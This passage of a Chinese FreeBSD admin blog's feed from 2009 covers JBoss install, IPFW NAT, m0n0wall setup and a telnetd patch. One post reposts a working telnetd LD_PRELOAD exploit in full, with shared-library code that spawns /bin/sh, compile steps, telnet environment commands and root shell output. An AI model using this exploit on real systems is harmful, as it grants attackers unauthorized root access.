Reference The C programming Language: ANSI C Version by Brian W. Kernighan and Dennis M. Ritchie. Prentice Hall. ISBN 0131103628<br />
Reference Managing Projects with Make (Nutshell Handbook) by Andrew Oram and Steve Talbott. O&#8217;Reilly and Associates. ISBN 0937175900</p>
<p>These books can be found at http://www.amazon.com or http://www.ora.com.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/637.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JBOSS-5.0.0.GA-jdk6  for FreeBSD7</title>
		<link>http://www.evanjiang.net.cn/archives/575.html</link>
		<comments>http://www.evanjiang.net.cn/archives/575.html#comments</comments>
		<pubDate>Wed, 25 Feb 2009 04:17:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[jboss]]></category>
		<category><![CDATA[Freebsd 安装 jboss]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=575</guid>
		<description><![CDATA[<p>首先我们要到先下载所需要的所有包
jboss-5.0.0.GA-jdk6 下载地址:
http://sourceforge.net/project/s &#8230; p;release_id=645033</p>
<p>perl-5.8.8_1
xextproto-7.0.2
xproto-7.0.10_1
xtrans-1.0.4
pkg-config-0.23_1
javavmwrapper-2.3.2
mysql-server-5.0.67
mysql-client-5.0.67
mysql-connector-java-5.1.7.tar</p>
<p>mysql-connector-java-5.1.7.tar 到MySQL 官方下载</p>
<p>http://dev.mysql.com/downloads/connector/j/5.1.html</p>
<p>这些包都可以在freebsd 的 FTP 上找到</p>
<p>ftp://ftp.freebsd.org/pub/FreeBS &#8230; es-7.1-release/All/</p>
<p>我们只要下载diablo-jdk-freebsd7.i386.1.6.0.07.02 就可以</p>
<p>http://www.freebsdfoundation.org &#8230; 386.1.6.0.07.02.tbz

然后我们就可以开始安装..</p>
<p>[pkgs]# pkg_add perl-5.8.8_1.tbz
[pkgs]# pkg_add mysql-server-5.0.67.tbz
[pkgs]# pkg_add diablo-jdk-freebsd7.i386.1.6.0.07.02.tbz </p>
<p>//安装diablo-jdk-freebsd7.i386.1.6.0.07.02 时有个LICENSE 敲几个空格.打个yes 回车就OK.</p>
<p>这时我们安装已经成功,</p>
<p>我们退出重登陆一下</p>
<p>[~]# java -version
java version &#8220;1.6.0_07&#8243;
Diablo Java(TM) SE Runtime Environment (build 1.6.0_07-b02)
Diablo Java HotSpot(TM) Client VM (build 10.0-b23, mixed mode)







</p>
<p>看到上面说明你的JDK 安装成功.可以继续..(注: Free BSD 7 安装 diablo-jdk-freebsd7.i386.1.6.0.07.02 时不用设环境变量,他已经帮我们设置好.  </p>
<p>[pkgs]# mv jboss-5.0.0.GA-jdk6.zip /usr/local/
[pkgs]# cd [...]]]></description>
			<content:encoded><![CDATA[<p>首先我们要到先下载所需要的所有包<br />
jboss-5.0.0.GA-jdk6 下载地址:<br />
http://sourceforge.net/project/s &#8230; p;release_id=645033</p>
<p>perl-5.8.8_1<br />
xextproto-7.0.2<br />
xproto-7.0.10_1<br />
xtrans-1.0.4<br />
pkg-config-0.23_1<br />
javavmwrapper-2.3.2<br />
mysql-server-5.0.67<br />
mysql-client-5.0.67<br />
mysql-connector-java-5.1.7.tar</p>
<p>mysql-connector-java-5.1.7.tar 到MySQL 官方下载</p>
<p>http://dev.mysql.com/downloads/connector/j/5.1.html</p>
<p>这些包都可以在freebsd 的 FTP 上找到</p>
<p>ftp://ftp.freebsd.org/pub/FreeBS &#8230; es-7.1-release/All/</p>
<p>我们只要下载diablo-jdk-freebsd7.i386.1.6.0.07.02 就可以</p>
<p>http://www.freebsdfoundation.org &#8230; 386.1.6.0.07.02.tbz<br />
<span id="more-575"></span><br />
然后我们就可以开始安装..</p>
<p>[pkgs]# pkg_add perl-5.8.8_1.tbz<br />
[pkgs]# pkg_add mysql-server-5.0.67.tbz<br />
[pkgs]# pkg_add diablo-jdk-freebsd7.i386.1.6.0.07.02.tbz </p>
<p>//安装diablo-jdk-freebsd7.i386.1.6.0.07.02 时有个LICENSE 敲几个空格.打个yes 回车就OK.</p>
<p>这时我们安装已经成功,</p>
<p>我们退出重登陆一下</p>
<p>[~]# java -version<br />
java version &#8220;1.6.0_07&#8243;<br />
Diablo Java(TM) SE Runtime Environment (build 1.6.0_07-b02)<br />
Diablo Java HotSpot(TM) Client VM (build 10.0-b23, mixed mode)<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>看到上面说明你的JDK 安装成功.可以继续..(注: Free BSD 7 安装 diablo-jdk-freebsd7.i386.1.6.0.07.02 时不用设环境变量,他已经帮我们设置好.  </p>
<p>[pkgs]# mv jboss-5.0.0.GA-jdk6.zip /usr/local/<br />
[pkgs]# cd /usr/local/<br />
[/usr/local]# jar -xvf jboss-5.0.0.GA-jdk6.zip<br />
[/usr/local]# ln -s /usr/local/jboss-5.0.0.GA /usr/local/jboss<br />
[/usr/local]# cd jboss/bin</p>
<p>再安装 JDBC</p>
<p>解压 mysql-connector-java-5.1.7.tar</p>
<p>复制mysql-connector-java-5.1.7-bin.jar 到 jboss/server/default/lib/里</p>
<p>[/usr/local/jboss/bin]# ./run.sh -c default -b 192.168.0.247    (注一定要指定IP )</p>
<p>我们可以看到以下信息,表明我们安装成功.</p>
<p>00:05:30,528 INFO  [ServerImpl] JBoss (Microcontainer) [5.0.0.GA (build: SVNTag=JBoss_5_0_0_GA date=200812042120)] Started in 3m:6s:719ms<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
启动 JBOSS<br />
./run.sh -c default -b youIP&#038;</p>
<p>关闭 JBOSS</p>
<p>./shutdown.sh -S</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/575.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD7.0 IPFW内核级NAT安装设置笔记</title>
		<link>http://www.evanjiang.net.cn/archives/571.html</link>
		<comments>http://www.evanjiang.net.cn/archives/571.html#comments</comments>
		<pubDate>Wed, 25 Feb 2009 03:59:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[ipfw]]></category>
		<category><![CDATA[Freebsd ipfw  NAT 安装 试用]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=571</guid>
		<description><![CDATA[<p>一、内核加入以下内容并编译内核：
options IPFIREWALL
options IPFIREWALL_FORWARD
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=100
options IPFIREWALL_DEFAULT_TO_ACCEPT
options DUMMYNET
options IPFIREWALL_NAT
options LIBALIAS
</p>
<p>二、在/etc/rc.conf中加入以下内容：
firewall_enable=&#8221;YES&#8221;
firewall_nat_enable=&#8221;YES&#8221;
firewall_nat_interface=&#8221;bge1&#8243;
firewall_type=&#8221;/etc/ipfw.conf&#8221; </p>
<p>说明：bge1是接外网的网卡







</p>
<p>三、ipfw.conf（试验用）：
add 00100 allow all from any to any via lo0
add 00110 deny all from any to 127.0.0.0/8
add 00120 deny all from 127.0.0.0/8 to any
add 00200 deny all from any to any ipoptions rr
add 00210 deny all from any to any ipoptions ts
add 00220 deny all from [...]]]></description>
			<content:encoded><![CDATA[<p>一、内核加入以下内容并编译内核：<br />
options IPFIREWALL<br />
options IPFIREWALL_FORWARD<br />
options IPFIREWALL_VERBOSE<br />
options IPFIREWALL_VERBOSE_LIMIT=100<br />
options IPFIREWALL_DEFAULT_TO_ACCEPT<br />
options DUMMYNET<br />
options IPFIREWALL_NAT<br />
options LIBALIAS<br />
<span id="more-571"></span></p>
<p>二、在/etc/rc.conf中加入以下内容：<br />
firewall_enable=&#8221;YES&#8221;<br />
firewall_nat_enable=&#8221;YES&#8221;<br />
firewall_nat_interface=&#8221;bge1&#8243;<br />
firewall_type=&#8221;/etc/ipfw.conf&#8221; </p>
<p>说明：bge1是接外网的网卡<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>三、ipfw.conf（试验用）：<br />
add 00100 allow all from any to any via lo0<br />
add 00110 deny all from any to 127.0.0.0/8<br />
add 00120 deny all from 127.0.0.0/8 to any<br />
add 00200 deny all from any to any ipoptions rr<br />
add 00210 deny all from any to any ipoptions ts<br />
add 00220 deny all from any to any ipoptions ssrr<br />
add 00230 deny all from any to any ipoptions lsrr<br />
add 00240 deny tcp from any to any in tcpflags syn,fin </p>
<p>add 00300 nat 10 all from any to any via bge1<br />
nat 10 config if bge1 </p>
<p>nat 50 config redirect_port tcp 192.168.1.1:80 80<br />
nat 60 config redirect_port tcp 192.168.1.1:21 21 </p>
<p>add 01030 allow all from 192.168.0.0/16 to any<br />
add 01040 allow all from any to 192.168.0.0/16 </p>
<p>add 04000 deny all from any to any<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
四、试用感言<br />
在FreeBSD上作NAT，小流量(100兆以下)，用户数少情况下(2000左右)，IPFW、IPFILTER和PF区别不大，但是大流量，用户数多(3000以上)的情况下，IPFW和IPFILTER占用CPU较多（50%以上），流量也被打下来不少，启用POLLING后会有所改善。在三款防火墙中，表现最好的当属PF，占用CPU较少（30%左右），但流量到150兆左右就上不去，用户再多一些(5000左右)，开始迟滞，出现掉线，吞吐量下降。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/571.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>m0n0wall安装方法与配置指南</title>
		<link>http://www.evanjiang.net.cn/archives/544.html</link>
		<comments>http://www.evanjiang.net.cn/archives/544.html#comments</comments>
		<pubDate>Tue, 24 Feb 2009 13:16:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[m0n0wall]]></category>
		<category><![CDATA[m0n0wall 防火墙 安装方法 配置指南]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=544</guid>
		<description><![CDATA[<p>如何在标准PC上安装CD-ROM版本
在标准PC上安装m0n0wall防火墙系统CD-ROM（＋软盘）版本需要如下这些步骤：
 取得m0n0wall防火墙系统的ISO镜像文件
 将ISO镜像文件烧录在CD-R 或者CD-RW上
 FreeBSD（ATAPI 刻录机）：burncd –s max –e data cdrom-xxx.iso fixate
 Windows：使用你喜欢的烧录软件（比如Nero）来烧录ISO镜像文件（2048bytes/sector，Mode-1）
 找一片1.44M的软盘并格式化（采用MS-DOS / FAT文件系统）
 FreeBSD：fdformat –f 1440 /dev/fd0 &#038;&#038; newfs_msdos –L “m0n0wallcfg” –f 1440 /dec/fd0 注意：如果你的软盘已经格式化，那么你可以忽略这一步
 Windows：format A:
 打开你的PC，进入BIOS，设置为从CD-ROM启动，禁止从软盘启动
 插入烧录好的光盘和格式化好的软盘（不要写保护）
 启动PC
 等待控制台菜单出现，选择1指定网络接口
 指定LAN/WAN/OPT使用的接口名称（提示：可以使用自动检测，或者根据MAC地址确定哪张网卡是哪个接口）
 修改LAN接口的ip地址，或者使用默认的地址（192.168.1.1; m0n0wall默认将提供DHCP服务器功能）
 通过浏览器管理接口访问m0n0wall（用户名：admin，密码：mono）
 根据需要修改默认的配置
如何在标准PC或者嵌入式PC上安装CF/IDE版本
在标准PC或者嵌入式PC上安装m0n0wall防火墙系统CF/IDE版本需要如下这些步骤：
 取得m0n0wall防火墙系统的原始CF/IDE镜像文件
 将镜像文件写入CF卡（>;5M）或者IDE硬盘，可以在FreeBSD下使用dd或者在windows下使用我提供的工具physdiskwrite 0.4
 FreeBSD：

 gzcat generic-pc-xxx.img &#124; dd of=/dev/rad[n] bs=16k
 这里n=你的CF卡的AD设备号（通过dmesg查看）
 忽略关于跟踪信息的警告，这是由于数字签名造成的
 Linux：
 Gunzip –c generic-pc-xxx.img [...]]]></description>
			<content:encoded><![CDATA[<p>如何在标准PC上安装CD-ROM版本<br />
在标准PC上安装m0n0wall防火墙系统CD-ROM（＋软盘）版本需要如下这些步骤：<br />
 取得m0n0wall防火墙系统的ISO镜像文件<br />
 将ISO镜像文件烧录在CD-R 或者CD-RW上<br />
 FreeBSD（ATAPI 刻录机）：burncd –s max –e data cdrom-xxx.iso fixate<br />
 Windows：使用你喜欢的烧录软件（比如Nero）来烧录ISO镜像文件（2048bytes/sector，Mode-1）<br />
 找一片1.44M的软盘并格式化（采用MS-DOS / FAT文件系统）<br />
 FreeBSD：fdformat –f 1440 /dev/fd0 &#038;&#038; newfs_msdos –L “m0n0wallcfg” –f 1440 /dec/fd0 注意：如果你的软盘已经格式化，那么你可以忽略这一步<br />
 Windows：format A:<br />
 打开你的PC，进入BIOS，设置为从CD-ROM启动，禁止从软盘启动<br />
 插入烧录好的光盘和格式化好的软盘（不要写保护）<br />
 启动PC<br />
 等待控制台菜单出现，选择1指定网络接口<br />
 指定LAN/WAN/OPT使用的接口名称（提示：可以使用自动检测，或者根据MAC地址确定哪张网卡是哪个接口）<br />
 修改LAN接口的ip地址，或者使用默认的地址（192.168.1.1; m0n0wall默认将提供DHCP服务器功能）<br />
 通过浏览器管理接口访问m0n0wall（用户名：admin，密码：mono）<br />
 根据需要修改默认的配置<br />
如何在标准PC或者嵌入式PC上安装CF/IDE版本<br />
在标准PC或者嵌入式PC上安装m0n0wall防火墙系统CF/IDE版本需要如下这些步骤：<br />
 取得m0n0wall防火墙系统的原始CF/IDE镜像文件<br />
 将镜像文件写入CF卡（>;5M）或者IDE硬盘，可以在FreeBSD下使用dd或者在windows下使用我提供的工具physdiskwrite 0.4<br />
 FreeBSD：<br />
<span id="more-544"></span><br />
 gzcat generic-pc-xxx.img | dd of=/dev/rad[n] bs=16k<br />
 这里n=你的CF卡的AD设备号（通过dmesg查看）<br />
 忽略关于跟踪信息的警告，这是由于数字签名造成的<br />
 Linux：<br />
 Gunzip –c generic-pc-xxx.img | dd of=/dev/hdX bs=16k<br />
 这里X=你的CF卡的IDE设备名（通过hdparm –i /dev/hdX查看），有些适配卡，特别是USB，可能会显示在SCSI，比如 /dev/sdX<br />
 忽略关于跟踪信息的警告，这是由于数字签名造成的<br />
 Windows：<br />
 如果你的IDE硬盘容量超过800MB，请添加参数 –u ，（确定你选择了正确的硬盘）<br />
 physdiskwrite [-u] generic-pc-xxx.img<br />
 将CF卡或者IDE硬盘接到PC<br />
 将PC连上网络（LAN/WAN/…）<br />
 打开PC电源<br />
 指定LAN/WAN/OPT使用的接口名称（提示：可以使用自动检测，或者根据MAC地址确定哪张网卡是哪个接口）<br />
 修改LAN接口的ip地址，或者使用默认的地址（192.168.1.1; m0n0wall默认将提供DHCP服务器功能）<br />
 通过浏览器管理接口访问m0n0wall（用户名：admin，密码：mono）<br />
 根据需要修改默认的配置<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
m0n0wall配置指南<br />
通过控制台配置<br />
m0n0wall启动完成之后会列出可用的网络接口，包括名称和MAC地址，并且提供一个简单的菜单：<br />
1设置LAN接口、WAN接口、DMZ接口<br />
2配置LAN接口地址<br />
3恢复Web管理登录密码<br />
4恢复出厂设置<br />
5重启系统<br />
选择1，根据提示输入LAN、WAN、OPT接口使用的网络接口名称，也可以采用自动检测的方法，先拔掉所有网线，然后输入1，输入a，根据提示插入网线，然后回车检测，这样检测的是LAN网络接口名称，根据提示可以继续检测WAN网络接口名称和OPT网络接口名称。如果网络接口名称指定发生变化，在完成检测之后系统将提示重新启动。<br />
选择2，设定LAN网络接口的ip地址，首先输入ip地址，回车后提示输入子网掩码的长度，比如8、16、24等，采用CIDR格式。<br />
剩余3个选项很简单，根据提示操作就行。<br />
通过浏览器配置<br />
控制台只是提供了一些初始化的简单配置功能，要想更多的配置整个防火墙的各项参数，还得从浏览器登录。默认采用的是80端口，也就是HTTP，可以改成支持SSL的HTTPs，在浏览器里输入 http://192.168.1.1/（假定防火墙LAN接口ip地&#8230;0n0wall主界面。<br />
在System-General setup里面，hostname指定了防火墙的名称，比如FW，domain指定了防火墙所在的域，比如mycom.com，这样别人看到的防火墙全称就是FW.mycom.com，DNS servers指定了防火墙可以使用的DNS服务器地址，这将提供给DHCP服务器和PPTP VPN客户端使用，Username可以重新设定管理员的用户名，默认是admin，Password可以重新管理员的登录密码，WebGUI protocol指定是采用 HTTP://192.168.1.1还是HTTPS:/192.168.1.1/?..芾斫缑妫瑆ebGUI port指定管理端口，默认是HTTP采用80端口而HTTPS采用443端口，如果改变了端口，就需要在URL中进行指定，比如 http://192.168.1.1:8088/。<br />
在System-Static routes里面添加静态路由，如果你对路由这个概念不熟悉，建议你先看看这方面的书籍。<br />
在System-Firmware里面可以对系统固件进行升级，当然这对光盘版不适用，当防火墙有新版本出来时，可以先点击 Enable firmware upload ，然后选择新版本的防火墙软件文件，最后点击 Upgrade firmware ，当升级完成时系统自动重新启动，不会损坏配置文件。在升级过程中不用取消，否则整个系统将崩溃。<br />
赟ystem-Advanced里面可以设置是否让NAT支持IPv6封装包，是否启动桥接过虑功能，是否禁用控制台菜单，以及额外SSL的是指证书。<br />
在Interface-assign里面可以重新设定网络接口名称。<br />
在Interface-LAN里面设置LAN接口ip地址<br />
在Interface-WAN里面设置WAN接口类型，并根据接口类型设置参数，包括MAC地址；静态IP地址和网关；PPPoE的用户名、密码和服务名；PPTP的用户名、密码、本地IP地址和远端ip地址；是否阻止保留网络地址段从WAN接口进入等。<br />
在Interface-optional interfaces里面设定接口描述，是否跟其他接口进行桥接，接口IP地址等。<br />
在Interface-wireless configuration里面设置无线网络的模式、SSID、通道、WEP加密、是否跟其他接口桥接，接口IP地址等。<br />
在Firewall-Rules里面设置防火墙的访问规则。<br />
在Firewall-NAT里面设置网络地址转换规则，包括入口转换、服务器转换、一一映射、出口转换等。<br />
在Firewall-Traffic shaper里面设置带宽分配策略，包括是否启用带宽分配功能、定义管道、设定队列权重、带宽分配规则等。<br />
在Firewall-Alias里面设定主机或者网络别名，通过别名，可以更好的维护防火墙规则。<br />
在Services-DNS forwarder里面设定DNS缓存转发，还可以设定一些新的DNS条目，以覆盖其他外部DNS服务器提供DNS解析的某些条目。<br />
在Services-Dynamic DNS里面设定动态域名客户端，不一定支持外部所有的动态域名服务器，如果你不知道动态域名是怎么回事，建议你先上网看看相关资料，比如DNS2go。<br />
在Services-DHCP里面设置是否启用DHCP服务，LAN接口所在的子网、子网掩码、可用的DHCP地址段，要分配的DHCP地址段、WINS服务器地址、默认的租期、最长的租期、DHCP保留等。<br />
在Services-SNMP里面设定系统位置、系统联系人、SNMP联接串等。<br />
在Services-Proxy ARP里面设定ARP代理，可以设定ARP代理单个地址、一段地址或者一个网段。<br />
在VPN-IPsec里面设定IPSec VPN的参数，更详细的信息参与IPSec VPN的相关资料<br />
在VPN-PPTP里面设定PPTP VPN的参数，主要是是否启用PPTP VPN 服务器，VPN服务器地址，远程客户机地址段等。<br />
在VPN-PPTP-Users里面维护PPTP VPN的用户帐户和密码。<br />
在Status-System里面显示系统的简要信息<br />
在Status-Interfaces里面显示系统网络接口的简要信息<br />
在Status-Traffic graph里面实时显示网络接口的流量信息<br />
在Status-Wireless里面显示系统无线网络配置信息<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
在Diagnostics-System logs里面显示系统日志，包括系统日志、防火墙日志、DHCP日志和关于日志的设置，比如设置远程日志收集器的ip地址等。<br />
在Diagnostics-DHCP leases里面显示DHCP分配地址的数据。<br />
在Diagnostics-IPSec里面显示IPSec的设置信息，比如SAD、SPD。<br />
在Diagnostics-ping里面可以使用ping命令探测网络连通性。<br />
在Diagnostics-Reset state里面可以重置NAT状态表、防火墙规则状态表。<br />
在Diagnostics- Backup/Restore里面可以备份、恢复防火墙系统的配置文件。<br />
在Diagnostics- Factory defaults里面进行恢复出厂设置的操作。<br />
在Diagnostics- Reboot system里面可以重新启动防火墙系统。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/544.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD最新Oday漏洞修复</title>
		<link>http://www.evanjiang.net.cn/archives/533.html</link>
		<comments>http://www.evanjiang.net.cn/archives/533.html#comments</comments>
		<pubDate>Sun, 22 Feb 2009 09:50:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[FreeBSd oday 漏沿修复]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=533</guid>
		<description><![CDATA[<p>关于FreeBSD那个0day，当然现在已经放补丁。有不明白详细情况的请访问：http://netsecurity.51cto.com/art/200902/110257.htm</p>
<p>下面就说一下修补的方法：</p>
<p>首先，大家执行 fetch http://security.FreeBSD.org/patches/SA-09:05/telnetd.patch 把补丁抓下来。</p>
<p>切换到/usr/src目录。</p>
<p>patch < /path/to/patch，这里路径自己填。</p>
<p>然后再切换到/usr/src/lib/libtelnet目录，执行：</p>
<p>make obj &#038;&#038; make depend &#038;&#038; make
这里要等一会。</p>
<p>cd /usr/src/libexec/telnetd</p>
<p>再执行：</p>
<p>make obj &#038;&#038; make depend &#038;&#038; make &#038;&#038; make install</p>
<p>好，如果没有意外的的话，补丁就打上。当然，不推荐启动telnetd这个服务的，安全性太差。希望各位Unix工程师的系统稳如泰山.</p>
]]></description>
			<content:encoded><![CDATA[<p>关于FreeBSD那个0day，当然现在已经放补丁。有不明白详细情况的请访问：http://netsecurity.51cto.com/art/200902/110257.htm</p>
<p>下面就说一下修补的方法：</p>
<p>首先，大家执行 fetch http://security.FreeBSD.org/patches/SA-09:05/telnetd.patch 把补丁抓下来。</p>
<p>切换到/usr/src目录。</p>
<p>patch < /path/to/patch，这里路径自己填。</p>
<p>然后再切换到/usr/src/lib/libtelnet目录，执行：</p>
<p>make obj &#038;&#038; make depend &#038;&#038; make<br />
这里要等一会。</p>
<p>cd /usr/src/libexec/telnetd</p>
<p>再执行：</p>
<p>make obj &#038;&#038; make depend &#038;&#038; make &#038;&#038; make install</p>
<p>好，如果没有意外的的话，补丁就打上。当然，不推荐启动telnetd这个服务的，安全性太差。希望各位Unix工程师的系统稳如泰山.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/533.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD爆0day 远程能溢出本地可提权</title>
		<link>http://www.evanjiang.net.cn/archives/531.html</link>
		<comments>http://www.evanjiang.net.cn/archives/531.html#comments</comments>
		<pubDate>Sun, 22 Feb 2009 09:47:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[FreeBSD oday 远程攻击漏洞]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=531</guid>
		<description><![CDATA[<p>没想到现在有人会研究，看到后惊叹了一下。是telnetd部分的问题，在FreeBSD7.0正式版测试通过，7.1似乎也有同样问题，但未经过测试。有兴趣的朋友可以调试一下，代码如下：</p>
<p># FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include
#include
#include
#include
void _init() {
FILE *f;
setenv(&#8220;LD_PRELOAD&#8221;, &#8220;&#8221;, 1);
system(&#8220;echo ALEX-ALEX;/bin/sh&#8221;);
}
&#8212;snip&#8212;&#8211;
Then we compile this stuff.
&#8212;snip&#8212;&#8211;
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
&#8212;snip&#8212;&#8211;
Then we copy the file to a known location (local root exploit)
&#8212;snip&#8212;&#8211;
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
&#8212;snip&#8212;&#8211;
&#8230;or [...]]]></description>
			<content:encoded><![CDATA[<p>没想到现在有人会研究，看到后惊叹了一下。是telnetd部分的问题，在FreeBSD7.0正式版测试通过，7.1似乎也有同样问题，但未经过测试。有兴趣的朋友可以调试一下，代码如下：</p>
<p># FreeBSD telnetd local/remote privilege escalation/code execution<br />
# remote root only when accessible ftp or similar available<br />
# tested on FreeBSD 7.0-RELEASE<br />
# by Kingcope/2009<br />
#include<br />
#include<br />
#include<br />
#include<br />
void _init() {<br />
FILE *f;<br />
setenv(&#8220;LD_PRELOAD&#8221;, &#8220;&#8221;, 1);<br />
system(&#8220;echo ALEX-ALEX;/bin/sh&#8221;);<br />
}<br />
&#8212;snip&#8212;&#8211;<br />
Then we compile this stuff.<br />
&#8212;snip&#8212;&#8211;<br />
#gcc -o program.o -c program.c -fPIC<br />
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o<br />
-nostartfiles<br />
&#8212;snip&#8212;&#8211;<br />
Then we copy the file to a known location (local root exploit)<br />
&#8212;snip&#8212;&#8211;<br />
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0<br />
&#8212;snip&#8212;&#8211;<br />
&#8230;or we upload the library through any other available attack vector.<br />
After that we telnet to the remote or local FreeBSD telnet daemon<br />
with setting the LD_PRELOAD environment variable to the known location<br />
as a telnet option before.<br />
&#8212;snip&#8212;&#8211;<br />
#telnet<br />
/>auth disable SRA<br />
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0<br />
/>open target<br />
&#8212;snip&#8212;&#8211;<br />
ALEX-ALEX<br />
#ROOTSHELL </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/531.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>更简单的FreeBSD+gnome中文</title>
		<link>http://www.evanjiang.net.cn/archives/529.html</link>
		<comments>http://www.evanjiang.net.cn/archives/529.html#comments</comments>
		<pubDate>Sun, 22 Feb 2009 09:32:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd gnome 中文]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=529</guid>
		<description><![CDATA[<p>最小化安装&#8212;>pkgadd -r xorg gnome2 wqy-zenhei gdm&#8212;->ee /etc/rc.conf 添加一行gdm_enable=&#8221;YES&#8221;&#8212;>reboot&#8212;>再gdm里select language 更改为大陆简体&#8212;->进入gnome就是简体中文文泉正体点阵字体</p>
]]></description>
			<content:encoded><![CDATA[<p>最小化安装&#8212;>pkgadd -r xorg gnome2 wqy-zenhei gdm&#8212;->ee /etc/rc.conf 添加一行gdm_enable=&#8221;YES&#8221;&#8212;>reboot&#8212;>再gdm里select language 更改为大陆简体&#8212;->进入gnome就是简体中文文泉正体点阵字体</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/529.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPFW中文手册</title>
		<link>http://www.evanjiang.net.cn/archives/433.html</link>
		<comments>http://www.evanjiang.net.cn/archives/433.html#comments</comments>
		<pubDate>Thu, 19 Feb 2009 12:08:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[ipfw]]></category>
		<category><![CDATA[IPFW 防火墙 中文 手册]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=433</guid>
		<description><![CDATA[<p>
ipfw 是 FreeBSD 内建的防火墙指令，我们可以用它来管理进出的网络交通。如果防火墙服务器是扮演着路由器 (gateway 例如上一篇中的 NAT 服务器) 的角色，则进出的封包会被 ipfw 处理二次，而如果防火墙扮演的是桥接器 (bridge) 的角色，则封包只会被处理一次。这个观念关系着我们以下所要介绍的语法，有的语法并不适用于桥接器。 </p>
<p>另外，我们在设定防火墙时有二种模式，一种模式是预设拒绝所有联机，再一条一条加入允许的联机；另一种是预设接受所有联机，加入几条拒绝的规则。如果是非常强调安全性，应该是使用预设拒绝所有联机，再一条一条加入我们允许的规则。 </p>
